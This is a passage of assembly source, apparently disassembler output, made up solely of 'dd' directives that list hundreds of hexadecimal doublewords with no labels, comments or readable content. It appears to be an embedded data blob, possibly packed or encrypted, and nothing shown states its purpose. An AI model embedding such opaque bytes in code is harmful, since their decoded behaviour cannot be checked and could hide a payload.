		dd 80084C02h, 0CD582AB6h, 2D1FDC1Bh, 59801CE5h,	0BF296DD1h
		dd 18E675h, 0F62BF1D7h,	0D5D0A12h, 0E2A09E0Fh, 40CC0084h
		dd 7F9D3EACh, 6AB400C8h, 0B76E222Dh, 5D1C2389h,	1D893B8Ch
		dd 55A4A059h, 2F60843h,	0C5FAD1ABh, 75F40CAh, 0AF20BE64h
		dd 743572D2h, 6FFB0033h, 1C3E7F56h, 0A500D4ECh,	323ACC5Dh
		dd 0C7CACF9Dh, 0B8134A58h, 8E516E00h, 0EF7ACDh,	3AAA43A2h
		dd 0EA76525Bh, 21DDFD02h, 7DBE4177h, 0C0BD0163h, 0F107D1D1h
		dd 19CCA300h, 484DAFC1h, 5E4400DBh, 0CDEC950Eh,	0D7772FE9h
		dd 9033AD30h, 7B8FFC61h, 0EB25003Ah, 8B50372Ch,	8601AA3Eh
		dd 4920561Eh, 85D00E1Fh, 79FA00A9h, 50A6F81Ah, 7E00E0FCh
		dd 0A84D2ECAh, 148FAA9Fh, 8C571F78h, 40007B24h,	373FC35Fh
		dd 1B205900h, 79229D28h, 7F6503EEh, 0FE100831h,	50FF6FF8h
		dd 2A43DD03h, 0F8F5B596h, 7DF6E72h, 0AE25381Ch,	0B346D0A5h
		dd 0A100C511h, 830D07B1h, 9018741Fh, 0AFC40077h, 36FE7164h
		dd 8297AABh, 9660C08Fh,	0AD3DFCh, 6968091Fh, 0CFDE9E24h
		dd 70DFA40Eh, 0BB928098h, 0E5F851h, 0AEE1C6A6h,	8710416h
		dd 0A0286F6Eh, 0A34CA02Dh, 0EC10C06Ah, 38C3E60Fh, 4CFB48h
		dd 220E16E9h, 3BA25C6Fh, 0AFD8E51Bh, 80143424h,	0CBB07B74h
		dd 5D009AB2h, 6B4BCC6Fh, 24715AFFh, 3F4809F3h, 0BA40C080h
		dd 275EBB0Ch, 0FA63D200h, 68792FF0h, 295D03A6h,	0B2521FDAh
		dd 2AF404C8h, 58187F63h, 8A90E81Ah, 0BBA8006Fh,	0C68F27ECh
		dd 95000968h, 28552589h, 1DE0121h, 8440726h, 306FEB3Eh
		dd 6A071486h, 0DC76C1D3h, 0D48C8B60h, 0F653003Fh, 63D740EFh
		dd 0DA010F3Ch, 0EC87FBF0h, 0BCC05808h, 4270F65h, 93F435h
		dd 0F396DAB4h, 4A003244h, 800B1C56h, 0A05A06h, 26A91372h
		dd 7497F40Eh, 0EC536E00h, 0D7ABADE4h, 555A07D5h, 712D0D69h
		dd 0E4C1A45Bh, 0E501D091h, 2270DD26h, 7DD1F480h, 2AC8F0F7h
		dd 78F61231h, 3300004Bh, 5A3EDEECh, 6300CEF0h, 769B8C70h
		dd 6F4CF2h, 0A308935Fh,	3810DF4Dh, 0A63BEF00h, 4E7D99FDh
		dd 4F60305h, 34587536h,	0C06AB0F1h, 0DE00CD02h,	9CC27E7Bh
		dd 9BFB7F8h, 913D884Ah,	1B5B0780h, 8502E76Fh, 331F03A6h
		dd 0DE0B4021h, 5072008Dh, 0D85D20CDh, 0F9006BA3h, 0C16DAFFh
		dd 3D52Ah, 8E82B3A7h, 0F6671B0h, 0C60321EAh, 870BC3F7h
		dd 0B692887Fh, 0B9443E7Ch, 3F498180h, 59AF8B68h, 0FE021C00h
		dd 1699CC7h, 3A9D7BDAh,	0E100EA50h, 0C388EB0Bh,	0AB03167Eh
		dd 0A6042E76h, 5CD6A0B6h, 2A01006Ch, 0EEB08A72h, 0BA000683h
		dd 2D1B4307h, 2C0B48EAh, 98320Dh, 6AF5B096h, 350E71ABh
		dd 3DEBAAh, 6CC0F7E8h, 980900F2h, 0C5AE1389h, 0EE1C36FAh
		dd 5B80D6D5h, 53165D97h, 46FB0072h, 85ED1119h, 2D4C94DAh
		dd 0ABB700FCh, 0F95474Ch, 1E881C55h, 4E3F1EE5h,	0CDE0C459h
		dd 0F444DC52h, 0E4B8BA03h, 96D39DA3h, 0A1AF06A6h, 0FAA579CAh
		dd 7E40460Eh, 982E603Dh, 729743F5h, 846700D0h, 0B6EA22CEh
		dd 301D6B58h, 0B8564Fh,	0C911D87Ch, 734A1B8h, 0E20CB40h
		dd 3C4D40FCh, 0EE0048C3h, 0D755A942h, 0ABCFE6h,	0BCE1E03h
		dd 0BE2FDB6Fh, 0C080361Ch, 597A9FC0h, 2852B5h, 53A0D497h
		dd 1A8CB83Ah, 4ADBCD01h, 0EA8787Ah, 69B9F8h, 30ED5073h
		dd 5E4CB041h, 7948AF00h, 153BD192h, 6ACD16C8h, 0AB6900F7h
		dd 6F47C70Eh, 3FF9181Ch, 0FEC0679Ch, 0CAC655E5h, 19720036h
		dd 9BB640A4h, 0A1003CACh, 395AAB5Dh, 0CD607Eh, 0CAA30B2Eh
		dd 85E4F271h, 4C3AB400h, 0AB4221FEh, 9F1430E6h,	58DC3E68h
		dd 11ED641Ch, 0C1C5807Bh, 0AC0838Bh, 0D04D58C6h, 7380E607h
		dd 0DD8A4021h, 3E013074h, 8BE1EF98h, 0A1EC3DA4h, 0FA7D0054h
		dd 0C6724B89h, 0A000CA5Dh, 0C066D599h, 9CD2105h, 2073D440h
		dd 0C70E4C84h, 95C191BFh, 0A5299290h, 42A0F200h, 0D3E706h
		dd 0C910A1C2h, 6E0F615Bh, 0EBE2200h, 57B1B219h,	443B0B6Fh
		dd 678084B8h, 812A5EB7h, 1E045B01h, 7EEB627Dh, 0BFA4D8h
		dd 3C6E607Bh, 544FDEBBh, 47318A01h, 94ABD929h, 75FCAD20h
		dd 526E00BFh, 0CEE3F55Ah, 0A800E56Ch, 79A22707h, 0C9248B9h
		dd 8C0D632Ch, 0C004311h, 0D2F9EB99h, 0EDD446Eh,	547F8895h
		dd 7A89FC42h, 0AC9653C0h, 3C76609h, 477300E9h, 599A80Ah
		dd 5A60E523h, 0B255C09Eh, 0E6797EB0h, 0CBD60D24h, 0B9BBC500h
		dd 3CD717F8h, 478081E9h, 0BC49D3C0h, 4F005A62h,	1437A9A3h
		dd 48D1C3h, 0A7C29072h,	3554D49Ch, 0F564CC00h, 5EB36F86h
		dd 4E590061h, 0A6F0CEC5h, 0D8002DB9h, 541CF88Bh, 0F2483179h
		dd 0C49F0039h, 0D6F0DF70h, 7D03E96Ah, 7EFE753Eh, 94FBC9ABh
		dd 0E2605C0h, 6FE24BD9h, 0BADC4E60h, 737F7B1Bh,	14F92B0Eh
		dd 1A6B0012h, 3F8BFB2Fh, 749EE315h, 7C49BC3Dh, 553A5F08h
		dd 0CD16C703h, 0FE100362h, 0E058F6F2h, 56E049D2h, 0BC12A7BFh
		dd 0DC03B434h, 0E0D17619h, 7EEBE1C7h, 0F8241450h, 2800ACC3h
		dd 2938DB0Dh, 0A300924Fh, 0CE01B302h, 253CABh, 66C5A8E6h
		dd 83A2E389h, 0ECD23700h, 59185BCAh, 0E6434CDAh, 36F216h
		dd 62C2D935h, 0A800E337h, 0E88AC521h, 248A34Eh,	0D00307F2h
		dd 8C40C85Bh, 9B476FFFh, 0EB85CE00h, 839575DCh,	0D1E5A800h
		dd 472B0469h, 8B783996h, 0FDAAA302h, 41605743h,	4AFCF930h
		dd 0A9EC0602h, 6891213Ch
		dd 4948Ch, 0A61C874h, 63833FA7h, 0F6004EF0h, 6E3D0C46h
		dd 68FFABh, 62DC4A5Eh, 0BB16918h, 9594C901h, 0F03F643Bh
		dd 77EC7021h, 9FCE2654h, 871F018Ch, 708D4809h, 59F2DECFh
		dd 0E6FC2616h, 0F0E1607h, 94DB7AA0h, 3664004Eh,	553F027Bh
		dd 890049CAh, 337D7E12h, 7137Ah, 93D3878Eh, 0ABC82191h
		dd 8C35C300h, 73940203h, 92620056h, 55D0FE99h, 0B8010E7Dh
		dd 4F80E9FFh, 0E3307E14h, 98C57601h, 9C731F3Ch,	0EF1C7A40h
		dd 0A65700E4h, 0BEC4A56Dh, 41107800h, 6454DB8Eh, 0C0ED14F4h
		dd 0FF1FF0CBh, 0A0DE8051h, 0E015FD03h, 894BB400h, 1C834572h
		dd 7B320006h, 0DD781AD3h, 0A200D924h, 8541E7EAh, 491CFAh
		dd 0DECB7470h, 3047CEC1h, 0FD2BD300h, 5441F675h, 78F90157h
		dd 44DEA36Fh, 0C371ECFFh, 4BF73703h, 1A57F1Dh, 882E3A18h
		dd 3B0790D0h, 419ABE80h, 5E1400B4h, 732BABEAh, 9898B8DDh
		dd 2D7D3800h, 0C9BBF0FCh, 55103966h, 0CD90BD03h, 0A0F8B508h
		dd 0DE0618D2h, 1625C1BFh, 8A5116E8h, 6EC200FBh,	0BC071E30h
		dd 61D73300h, 0A498741Fh, 0D19006Ah, 96E612CFh,	300EE64h
		dd 0C82CD05Ch, 4C6C9014h, 5E012482h, 0D7F1465Bh, 0A36420C7h
		dd 74502B11h, 4A8E8B1Ch, 60AC7A5Fh, 76229C14h, 0B78C3550h
		dd 40479024h, 0C0BCDA0Fh, 0AB8980F2h, 880A2C60h, 5BC50004h
		dd 0C243EF6Fh, 319F2E00h, 0ABF9A49Bh, 8FA903BEh, 78A1D479h
		dd 0C0BF92B9h, 11033BFCh, 0B4F3494Bh, 8480E430h, 5EABA8Ah
		dd 0A4089510h, 0D3B4008Ch, 32C3B70Ah, 0A2D69101h, 0C196976h
		dd 0A7C43761h, 14DA00A1h, 3E18FDF3h, 0C53DC0CBh, 20DC24D9h
		dd 45001716h, 0BDD481C8h, 0FD4C0050h, 0D291BB8Ah, 0B2908342h
		dd 65853000h, 0C2C1EECEh, 32CFE5Fh, 0CAF770F9h,	80BC693Bh
		dd 951529E8h, 0B28B7609h, 0F304054Eh, 6E3AAE0Eh, 4BB898E2h
		dd 0D570020Fh, 5B1D3D6Ch, 0A864EB60h, 0A34AA215h, 270D03B4h
		dd 0BD6AC030h, 0F358E080h, 8C738Ah, 98E57AA8h, 4CE9516Bh
		dd 0B02948h, 0FB19C03Ch, 75FFD6D3h, 0EA8A3D28h,	433A5700h
		dd 0CB06664Bh, 0BCEF9700h, 0A835E384h, 75C10CB8h, 1780EBFFh
		dd 0A5B6A09h, 6DA80D7h,	0C6423Dh, 2978A947h, 644C77B8h
		dd 0F24BC00h, 0D0D47007h, 0EA660FCCh, 8E80D73Dh, 0C9E4CFCBh
		dd 0F908673Dh, 0B554D10Fh, 9A37E118h, 0A88014DDh, 0B17322B9h
		dd 281D79B3h, 0CBD7F546h, 0C9B7C800h, 7F2C80h, 2ACA3894h
		dd 19AD3E15h, 81E4BB00h, 37BC7D44h, 175E299h, 2CD3361Dh
		dd 20C2BF6Ch, 2E032B58h, 8C2673A8h, 7F848097h, 377907E0h
		dd 802C721Ah, 9589BC23h, 9D6E3300h, 68C4AD40h, 0C99C0008h
		dd 0FCAC804Fh, 21008172h, 0BE028E13h, 0A0ECF08Ch, 1E263590h
		dd 0C97FC43Ah, 6CA2C07Bh, 0BC98AF3Ch, 361CA298h, 31C06B43h
		dd 0BB4F9E2Fh, 956F24C7h, 223F0080h, 0FD6403Bh,	5AC554Ch
		dd 0EB5F361h, 8C574C0h,	11C106A6h, 20BB4363h, 0E885FB00h
		dd 1E0175E5h, 0D864014Dh, 5935B89Dh, 0B94F703Dh, 73882500h
		dd 64E556C4h, 281D60EAh, 472611ADh, 0D0E23800h,	0E6B0E093h
		dd 584F6FBEh, 36A90C0h,	0C9780D04h, 7172B812h, 0C0ADE440h
		dd 0E4C283h, 2FE7706Ch,	0EFCB59E6h, 0E917BFE6h,	7B1FC991h
		dd 75FEB040h, 26D337h, 0B811C399h, 0D117936Fh, 3E9CED04h
		dd 3AE3B64h, 0AE6C14A7h, 37533000h, 813F5DA1h, 5CC60A80h
		dd 0A82988h, 0B54E7ACAh, 0B80064E0h, 4D2C11C9h,	0E8311Ch
		dd 0AB089013h, 0A5F686C7h, 0F12D10F2h, 1D2D541Eh, 303B4087h
		dd 443FB2EFh, 0F59E6A03h, 9C8027h, 7FD1CF10h, 213A6989h
		dd 86098301h, 9D291238h, 18C82083h, 0DDF80F63h,	0CC1E6AFFh
		dd 77C01333h, 0F7B6242Dh, 4CC200E9h, 25C7FD99h,	8C0FF8F2h
		dd 0E0790930h, 0E369C0DCh, 315600ABh, 640B160h,	5A00F7A0h
		dd 0F0E8D539h, 247E10h,	53F9A3CFh, 0D8D38816h, 1C249049h
		dd 1D7D0602h, 0DCDE4827h, 0F21A4445h, 14929090h, 0BE240997h
		dd 9887892Dh, 4D8F1D4h,	60CFF1F4h, 0F1074BC8h, 6796B26Ch
		dd 1FBE5A35h, 0BB87BBCAh, 89863BC2h, 0CA290409h, 4230A402h
		dd 0A90228E4h, 0FBD1C481h, 0DFE3E002h, 0A50D00B8h, 0F89B012Bh
		dd 1500AD43h, 0FFD74ED1h, 0F111C05h, 0D99766ECh, 0FB00C30Fh
		dd 0D7EAC065h, 0CCC13C00h, 14B626DFh, 1AF7005Ch, 0EFEDB3CAh
		dd 120748A2h, 0A0B8AD2h, 4CBC5B90h, 1990C0B2h, 0EBA4D853h
		dd 0D909F91Fh, 34C24400h, 0E76D33h, 3F76754Ah, 5F9C1E6Bh
		dd 0C07F2303h, 0FCE5BC18h, 1052AEC0h, 0FEB0088h, 0AE6992D0h
		dd 0AA00EC16h, 0BD2F545Ch, 0F6DC951h, 3D1D46D5h, 0EC004849h
		dd 0F0FD8288h, 8B00E370h, 0CF7EAE50h, 0F2221F6h, 0B7B0C5BBh
		dd 0FC7781FEh, 60923281h, 0A11C2D38h, 760064F4h, 9511CC3Ah
		dd 23F8006Dh, 85EE265Bh, 21063388h, 0B7595F48h,	45BE07E0h
		dd 0E3E85A94h, 0B488D556h, 0C113E6EEh, 0B400485Dh, 0D2D92001h
		dd 2E940077h, 0BBA85564h, 0EAF4A32Bh, 67007E75h, 0E2036CEh
		dd 1847C8A6h, 1033F2B2h, 1C008CB1h, 7B6FE85Fh, 23A743h
		dd 391E5C27h, 40F5D16Ch, 69021603h, 98BC80AAh, 3E8030Ah
		dd 0EF354C7h, 3087B838h, 1B133145h, 2A5A7800h, 0DCE9A1F9h
		dd 542348BFh, 0E42E2Eh,	0FE077306h, 3D0B4F4Dh, 21FD9A74h
		dd 0CFA23EC4h, 0D8F6AC43h, 0B2594515h, 38707830h, 99803D2Bh
		dd 0F129468Bh, 570F760Fh, 43D756FFh, 0B00BBE7Eh, 13E9238h
		dd 0A0D10A09h, 47B4DF96h, 28C390A0h, 291FDBB6h,	0F300AA19h
		dd 1E6405D2h, 654500F8h, 8F13D0E6h, 0CFFA902Ch,	0F6F01998h
		dd 0C5916A00h, 0DC38A0E5h, 0E25D0D9Fh, 40325EBBh, 8D7FA410h
		dd 2B17C200h, 0D5825B9Ch, 0F9530E4Eh, 38A9872Fh, 5A308C80h
		dd 4501434Bh, 5CA79F8h,	0C940B260h, 7B89DD08h, 3D010047h
		dd 0C8E228C0h, 0F003E7Dh, 0E04198D9h, 5F044Ch, 0F72BB2EEh
		dd 0DC9DADC2h, 1321200h, 0CAC55251h, 2A310E23h,	39C03494h
		dd 46C7D62Eh, 3B01C490h, 305CB172h, 0AFE8F0DDh,	15C600CCh
		dd 6B4D5AEBh, 87002954h, 16376395h, 1C85707Bh, 0DFFCFF42h
		dd 0CC9603F4h, 0F9A85235h, 860443BEh, 53936A5Ch, 700540C1h
		dd 2F000828h, 0DB856CFAh, 443907B8h, 15C8FFh, 1ED543BBh
		dd 7F77224h, 366D854Dh,	78B660D7h, 9100D1FDh, 0EA2F39CBh
		dd 0F6C977h, 647E1ADh, 70845E62h, 59F2B300h, 5AD5A982h
		dd 0E96C2EF6h, 952D00D4h, 0F9EF5D40h, 0A16606C0h, 132FDB79h
		dd 11D6CEh, 0E1977040h,	0A703AB0Ch, 0ED81E9EEh,	0E1BBAB50h
		dd 76FCD3DDh, 706D0035h, 0B605BAE5h, 4D009883h,	4F88505Dh
		dd 0C4594C9h, 0D1311029h, 5B701A58h, 5180A000h,	682A7799h
		dd 0E09C50C1h, 0F49D0304h, 134A91C8h, 1DC088B2h, 5F003070h
		dd 42642F9h, 5C9863h, 19BDF896h, 0F0543B60h, 0FBB79C00h
		dd 6EE101C3h, 20810964h, 0B8840F59h, 0EAC0F4CDh, 4A0038B8h
		dd 0B3D3E2EFh, 619036h,	59185EC2h, 0B992CE4Bh, 52FA4000h
		dd 5C80EA7Fh, 0C5F41350h, 80A45F25h, 3D4694B7h,	709714Eh
		dd 0B072F3A7h, 4C4A3Ch,	0E3281E63h, 0C96B986Eh,	298F2B00h
		dd 53CDCCDDh, 0F4221C1Ch, 0F2FB00D1h, 421102BBh, 0A4044A3Eh
		dd 9B1EB8ACh, 1A9FDB47h, 27C0C880h, 918F0FB6h, 0F14BFDCDh
		dd 26632480h, 3C00D586h, 0E504877h, 0BF0869h, 0AC7F7D75h
		dd 0F46481D4h, 0C7E1F014h, 80DC2584h, 3D7D5720h, 547F18E3h
		dd 0C2906C44h, 0B151F01h
		dd 24D9FDC0h, 3CBA2064h, 0E6008B09h, 46E73FA0h,	8339E93Bh
		dd 0E22A8FE8h, 9AC88049h, 3CF40FAEh, 0C33B7A93h, 4E410174h
		dd 998E6D68h, 5546069h,	0E2555C00h, 72E684C7h, 6C500F3Eh
		dd 61C09111h, 0DC161D96h, 0D341E01h, 0F9F04251h, 0CB24D34h
		dd 29C70330h, 2E006D19h, 0ED46AC04h, 7CE6E1h, 5B1E701h
		dd 8019A067h, 88399B00h, 4E9E5A3h, 0A84C60A7h, 6A05DD8Ch
		dd 0F284890Fh, 0AFCF20A1h, 0E4421EE8h, 0E4F5001Fh, 39EA1CB9h
		dd 0C2015B4Fh, 29822A58h, 89D08605h, 84AC008Ch,	1AA46BB1h
		dd 0BD3B375Ch, 459180F0h, 0A9E75046h, 0E39F009Bh, 0A4353FECh
		dd 9703F667h, 12C3BA8Eh, 509288E2h, 7A63026Dh, 0CD5A1BCEh
		dd 0A56380FDh, 1E6675Fh, 0A5657FFh, 0D038305Eh,	3D008B6Dh
		dd 0FCD22D29h, 6AEEF1h,	4F9309BCh, 64C73A6h, 0F7DF6902h
		dd 608A99CBh, 48C99Eh, 0D9D718FDh, 9B114A37h, 2BA7C700h
		dd 0E4530C38h, 8FF700C0h, 0A63262D6h, 78717C8Ah, 73B15E00h
		dd 88E05808h, 2FF000A1h, 391416E4h, 0CF007AADh,	0C28954B3h
		dd 0DFB823h, 0D21CB037h, 3128674Ch, 27EC2977h, 0D1407B06h
		dd 40B407h, 0DCEFAFDAh,	0E83304F5h, 0B995F00h, 294383BCh
		dd 72B800C7h, 34EDA8B2h, 0DE0012D7h, 81D5AC1h, 1CB7AACCh
		dd 45CF7A9h, 0C06C59C6h, 255E3532h, 611FC01Fh, 0E9ED780h
		dd 146EFA4Ah, 9C84C1CBh, 7100F53Fh, 9E2850EFh, 0AE003E52h
		dd 736AB2ACh, 0BFA4484h, 173033B0h, 1D519F00h, 3AE41914h
		dd 0BBCBF58h, 80D78BFEh, 0A44D24FBh, 9D1A000Eh,	0B1B23669h
		dd 5D267927h, 803980FCh, 0DA56964Ch, 38AACA9Eh,	0F0004EC9h
		dd 64A9DC81h, 0A003F26h, 0AC32F7BCh, 149158CAh,	0A877C256h
		dd 88860070h, 266C25A0h, 0EA003139h, 75780E99h,	0FD44112h
		dd 0BB4EE10Bh, 0FBD9C1E3h, 51F2D2B8h, 810069F6h, 821862DDh
		dd 2AC05D99h, 80F98Dh, 3D7160B4h, 5B94BD6Ch, 750E7DF2h
		dd 20FAC4F7h, 489B786Ah, 0DE112CDBh, 1F5D0022h,	0E6F8DDA9h
		dd 359C905h, 0A401EFCEh, 0DCE4946Dh, 0AD4630h, 5938824Dh
		dd 0B88F5832h, 1B9FDE0Eh, 7D3B85D7h, 0C896E040h, 0E856D237h
		dd 7B90011Fh, 0C06633E3h, 9F83F95Eh, 9A007FA0h,	0CDBF812Ah
		dd 4FA201DDh, 0C0306B05h, 0E6B2E4CBh, 7F2FCE00h, 9D8D7DD0h
		dd 0CAA81415h, 0BF06EC32h, 71217839h, 0B61F4E00h, 77190247h
		dd 90C7049Ch, 0EE1C3B42h, 12370700h, 2640B446h,	19ABC0Eh
		dd 61C97E82h, 8C31C48Eh, 11E98607h, 13508F17h, 0B5A983h
		dd 0B94CFDAAh, 33253238h, 736EEA3Dh, 69D33F24h,	39BD4400h
		dd 3FE7C9D0h, 6C813D07h, 0FB711175h, 0A154F0D6h, 5F51F718h
		dd 72D959B1h, 206F604Eh, 84E3FD77h, 301CA600h, 0EBD794DCh
		dd 3BB30FA0h, 2C003229h, 915DC314h, 0DA7BFA00h,	255A7D5Eh
		dd 0DC2B0045h, 26BA626Bh, 0A20E4FE1h, 87675BC7h, 590071D9h
		dd 1D49859Bh, 24E0FF15h, 0D408011Bh, 0DCBE8767h, 0AB3E66DFh
		dd 6698B24h, 30DC6Ch, 0B6116032h, 0FA00294Bh, 2450F375h
		dd 3885C1Bh, 0AFD7B9CBh, 50D7EBC4h, 89633184h, 0C51EFD03h
		dd 0F052CCECh, 0BA0414h, 37139E76h, 0CEB366A1h,	67028107h
		dd 0CA60FD7Ch, 2619ABh,	0BB5A7316h, 0EBC26FB1h,	0B753607h
		dd 7EF70885h, 0E4218340h, 295538BAh, 0CF33D082h, 0D560734Dh
		dd 0F90013BCh, 2B5F7B18h, 0FC0AE7EBh, 0FF331878h, 0DCC1B8BDh
		dd 0A344AF00h, 0FC129D43h, 27E80091h, 459A9FABh, 0D20065F5h
		dd 26E57183h, 78DB97Dh,	18A44B3Bh, 5B1BD344h, 611964D0h
		dd 0DB407A1Ch, 0C54CADDFh, 106C6h, 295912DAh, 2F094F78h
		dd 0FB468F00h, 7396230Dh, 0C563029Eh, 0BB3CCE3h, 8E081C0h
		dd 88D90A26h, 0AB8713h,	0E658D6E9h, 70E078DAh, 30E51D30h
		dd 1FD548D1h, 0A0B6598Ch, 0B5847101h, 454A026Ah, 30652080h
		dd 34AD0CA6h, 0E8F3D500h, 7347AAA7h, 0B87BABh, 0E9240FB3h
		dd 0A97A3E2Fh, 11F63200h, 879868BFh, 0AD730F4Ch, 1C81E5B0h
		dd 0C85C3037h, 6A00E3E4h, 0CB1721DCh, 46F709h, 1EA3B4B8h
		dd 0A63192A8h, 0D401E97Bh, 173819A9h, 0A0804B48h, 65080990h
		dd 7DEC27DEh, 3F0FA27Ch, 2016D720h, 0F2E30C7h, 39221DB9h
		dd 7774C058h, 73910401h, 8C01E279h, 0D214D8BCh,	0E03219FDh
		dd 9C8024h, 0A5FBD03Dh,	0E0002A2h, 39C04351h, 139842D8h
		dd 0BDE6FDh, 7D31FC60h,	190FC9EEh, 0E00E1CF7h, 1286844Ch
		dd 0BD8003Dh, 41AED0E4h, 0CF00EEC3h, 0FD43FCA0h, 0F771E103h
		dd 27C7C20h, 6C804285h,	0EEE0F732h, 0C43C584Ch,	0BC90E768h
		dd 0A04AB60Fh, 8F0098DCh, 56D7D916h, 0FB9E00E9h, 9CF5FA34h
		dd 0E24C4CBFh, 0F37900D0h, 0D6681BC5h, 7B930057h, 0D5DF504Eh
		dd 4400E6FEh, 0B4F61E87h, 1C2D5Dh, 9F8EC074h, 387A8B32h
		dd 0BD833000h, 2B1FC1DFh, 0B8ED0097h, 25C6F1A7h, 550087D4h
		dd 0EA996E9Ah, 0AF96B2h, 62A3C437h, 5E674D6Ah, 0BA69CE09h
		dd 0FD1080E8h, 353DEAh,	1E80D8EBh, 0F925D79Ah, 428ED503h
		dd 0B8F666CFh, 94AC71h,	9BEA36Ah, 9F9DDCFDh, 0E9F01400h
		dd 0D526F48Dh, 3ED70076h, 0B8C1E461h, 560245C0h, 8CF3285Bh
		dd 8394812Ch, 0CCE8A3E9h, 8B6A0001h, 0DB18E888h, 790F2E82h
		dd 60967B6Eh, 41144599h, 0BC7298h, 5310AABAh, 0D6446E81h
		dd 0D7E10A03h, 0B82D800Bh, 12649FEh, 6E62EB11h,	0FC7AE586h
		dd 69700583h, 0C4304D60h, 68DD23Bh, 8A088B97h, 6071910h
		dd 3E18C042h, 3D835B20h, 15E8A9C5h, 35E5C70h, 95787703h
		dd 0DCF8BE46h, 69002390h, 3A6DE968h, 172AF4Fh, 0ABC0E71Bh
		dd 60DF7520h, 0BF0083DCh, 961FFAB5h, 130EDBh, 50CA9F9Ah
		dd 69748CB4h, 4C527860h, 0FEBA91D3h, 68E0121h, 42C2A9F6h
		dd 0A112F474h, 0CF980A05h, 6BC2CBC8h, 9D49E023h, 43CC0180h
		dd 3A927D10h, 0BAB03F63h, 1625006Bh, 8E9B66C3h,	0AC1EB830h
		dd 0E5078F7Ch, 0C9F35501h, 8002E0A0h, 0D8DB3DE4h, 0AC51FE80h
		dd 0BCEAF139h, 2C933C05h, 0D400E2B8h, 7510B038h, 0EF7000DCh
		dd 0AE2F1C36h, 0F2003B6Bh, 0AC45BEBFh, 81E178h,	0A89363DAh
		dd 0E6977369h, 0EEB51E00h, 0B2713729h, 0D07C00F8h, 366CABA6h
		dd 0AE09DE3Ah, 800E85C6h, 4FDA795Ch, 698F00C8h,	83B20DE2h
		dd 0EF0088D2h, 965BA491h, 706A7Dh, 1A360172h, 0F667DC42h
		dd 2E63EE05h, 0A4C1B816h, 0EFC4E1E4h, 0E2281CA7h, 53B38E9Fh
		dd 0EDACD8E1h, 72D1804Eh, 316687A2h, 7F3007EEh,	907615AEh
		dd 0CB262873h, 659BC00h, 0FB95B3CEh, 308D2CD9h,	0F3D80A2Ch
		dd 4A9100ECh, 546AAB12h, 90F0CA01h, 24CFF08h, 0F5E3E8h
		dd 2ED07E64h, 46BCC975h, 3A18A507h, 0B35FD958h,	6F99E000h
		dd 1FFE13h, 0D6FCD0C1h,	0D11EF9ADh, 4A73Ch, 4115DDBEh
		dd 5E34B6h, 0E164E4DEh,	850C1AC7h, 0BDDFB300h, 86DA7DE2h
		dd 0A13600E8h, 0C399352Dh, 80019178h, 0FD9CA77Ah, 0B2CC5302h
		dd 0D3DD0F7Fh, 74005D7h, 51E3E0B1h, 9BC1CE01h, 645A89C5h
		dd 336AFC40h, 0BBDD2037h, 78BF1CF0h, 32D3000Dh,	59FA2BC0h
		dd 0AB009E0Fh, 6339680Ah, 0ECE6B5EDh, 0E5B40060h, 22F2A5F7h
		dd 0DD0072B1h, 1C272D3Ch, 152AD448h, 0FC3750A7h, 5A2F3A7Fh
		dd 0BA736A00h, 0A8BDE7BCh, 0ED94F700h, 37802AABh, 44CCA88Ah
		dd 83CE00F3h, 8D171D86h, 0CF00134Dh, 6CD20668h,	0B2F3Eh
		dd 0C515CB24h, 0BDB68E90h, 0A300AF7Eh, 0D45FFF2h, 1485D3h
		dd 0DDCA942Bh, 0B6DF876h
		dd 0B3249C00h, 9F1B16CCh, 0DFFE47h, 0F0A553A2h,	80A3A93h
		dd 60504A00h, 225EFA4Bh, 8D400041h, 0C4CE5234h,	0D40047F1h
		dd 639748FBh, 3A3DEE8h,	410A1089h, 42A8583Dh, 0D249C72h
		dd 2803C45h, 214DA35Dh,	5B5F640h, 1B4684A5h, 0FC8A80AEh
		dd 0CC3866FDh, 0EEA0008Bh, 1DF61AD6h, 4ECE00BFh, 0C6E6C7F3h
		dd 6C3D018Ah, 0DB0C800Bh, 0CCBBD934h, 58824C4Fh, 5C3BD709h
		dd 54639C60h, 87F7EF3Bh, 0FB4CD95Eh, 0E8824D93h, 374A90E7h
		dd 872892C5h, 0E96D80AFh, 0D7002A2Bh, 5E3C2D31h, 3E14788h
		dd 5F8B48FAh, 0C1D86961h, 0D01A4F9h, 0A221817Dh, 78BA3F01h
		dd 8B9D973Fh, 94028B0h,	0EA71DD56h, 0A1F8A4A0h,	857CE29Dh
		dd 28BA0C3Ch, 0C40C0879h, 8984F492h, 3C221483h,	0BB1424C6h
		dd 3B1F7002h, 0B62681CFh, 0D9CD3FC7h, 0A31440B7h, 0FA0321B9h
		dd 0A07619A8h, 9843E8B0h, 0D3E005Eh, 56FEDF1Dh,	8B01911Ch
		dd 83F0FEAh, 6161773Bh,	5CE1C4h, 0F5907CB6h, 0F6F9820Ah
		dd 0A0EB6700h, 803D0B5Eh, 0A08874DDh, 0BC41ACh,	0DADB9387h
		dd 0B733786Bh, 0FC01A1C0h, 0E13C5Eh, 69688731h,	0A341642Dh
		dd 0D3557203h, 9E0F540Ah, 0EE380220h, 322CF28Bh, 0C23209Ch
		dd 83210E26h, 318A2246h, 2269C5Ch, 3C90342Ah, 30B6633Eh
		dd 0FB218408h, 0E7009D67h, 8BC1EAEBh, 64857302h, 634B48CBh
		dd 34D490EFh, 80448C40h, 9D6805E9h, 4083547Ah, 92FAA0E8h
		dd 9503CE03h, 91B920CCh, 4B36D998h, 0C084CDD4h,	0BE555A29h
		dd 92079F75h, 39774F64h, 1421D486h, 442E8322h, 34296898h
		dd 80448852h, 8B9D4A8Eh, 3A6B20B3h, 5B858301h, 41CB5407h
		dd 2080AC56h, 0F8173BC7h, 270DB0A4h, 31F0886Dh,	0C8289063h
		dd 0AC68D188h, 8398215Ch, 72C205BBh, 2380ACCEh,	2454F7ABh
		dd 9485FC8h, 4C209352h,	694CC438h, 0F2F8A5FAh, 193EA730h
		dd 1C3D0AAh, 98D8C455h,	98F08C5Ch, 85219208h, 65C30ED7h
		dd 0F140D0D6h, 0B8E4E635h, 47D6D00h, 99A9CFCEh,	0F358C85Eh
		dd 10C3D5C1h, 8618F0C9h, 0FCCC4A88h, 0C71B00A5h, 0DA7E4271h
		dd 0F200CD88h, 0D60EFC05h, 5FE31E7h, 0A81D7235h, 2F90085Bh
		dd 2821F3C7h, 8B186034h, 6D8D21C0h, 7832E9Dh, 0AA8AE830h
		dd 0A14ED165h, 829057ABh, 0E6E2DB38h, 60A314A7h, 0CB01C4FEh
		dd 0F8B15E0Ch, 0DC340803h, 54BC021h, 1EDA8A84h,	0A1CF2F0Eh
